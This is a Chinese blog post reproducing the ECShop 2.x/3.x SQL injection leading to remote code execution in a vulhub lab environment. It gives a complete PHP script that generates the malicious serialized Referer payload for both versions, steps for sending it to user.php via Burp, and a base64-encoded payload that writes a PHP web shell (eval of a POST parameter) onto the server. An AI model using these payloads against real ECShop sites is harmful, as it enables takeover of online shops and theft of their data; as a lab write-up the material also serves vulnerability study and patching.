ecshop漏洞复现

简介

2021年6月30日。

漏洞环境:无额外说明均为vulhub。

参考链接:

官网:https://www.ecshop.com/

百科:https://baike.baidu.com/item/ecshop/10041925?fr=aladdin

https://www.freebuf.com/column/185049.html

https://www.seebug.org/appdir/ECSHOP

ECShop是一款B2C独立网店系统,适合企业及个人快速构建个性化网上商店。系统是基于PHP语言及MYSQL数据库构架开发的跨平台开源程序。

我看seebug上关于它的漏洞有好多。

xianzhi-2017-02-82239600(SQL注入/远程代码执行)

参考链接:

https://blog.csdn.net/weixin_43416469/article/details/114019303

脚本:https://github.com/ADummmy/vulhub_Writeup/blob/main/code/ecshop_sql_rce_exp.php

该漏洞影响ECShop 2.x和3.x版本,是一个典型的“二次漏洞”,通过user.php文件中display()函数的模板变量可控,从而造成SQL注入漏洞,而后又通过SQL注入漏洞将恶意代码注入到危险函数eval中,从而实现了任意代码执行。

漏洞影响范围:

2版本全系列
3.x - 3.6.0

我看文章中说3.6.0版本已经将漏洞修复了,实验中的3.6.0版本代码应该有变动。

漏洞复现

启动环境,访问http://your-ip:8080端口,将进入到2.7.3版本的安装界面。访问8081端口,将进入到3.6.0版本的安装界面。

注意:数据库主机地址要填写mysql,不是localhost。数据库用户名密码均为root。两个版本安装时的数据库名不能相同。

2.7.3版本首页。

3.6.0版本首页。

下载攻击脚本,生成攻击payload。

<?php
$shell = bin2hex("{$asd'];phpinfo	();//}xxx");
$id = "-1' UNION/*";
$arr = [
    "num" => sprintf('*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -', bin2hex($id), $shell),
    "id" => $id
];

$s = serialize($arr);

$hash3 = '45ea207d7a2b68c49582d2d22adf953a';
$hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';

echo "POC for ECShop 2.x: 
";
echo "{$hash2}ads|{$s}{$hash2}";
echo "

POC for ECShop 3.x: 
";
echo "{$hash3}ads|{$s}{$hash3}";

访问/user.php?act=login目录,使用burp拦截抓包,添加Referer字段,值为payload脚本生成的内容。

获取shell(3.6.0版本)

$shell = bin2hex("{$asd'];assert	(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3NoZWxsLnBocCcsJzw/cGhwIGV2YWwoJF9QT1NUW2NtZF0pOyA/Picp'));//}xxx");

base64编码的内容为:

file_put_contents('shell.php','<?php eval($_POST[cmd]); ?>')

这个版本,如果无回显的payload执行成功,响应包大小为7333个字节,执行失败为7330,多的三个字节为xxx

漏洞修复

在3.6.0版本以上,该漏洞已被修复。

现在我看最新版的已经到4.1了。

本博客虽然很垃圾,但所有内容严禁转载
原文地址:https://www.cnblogs.com/ahtoh/p/14954554.html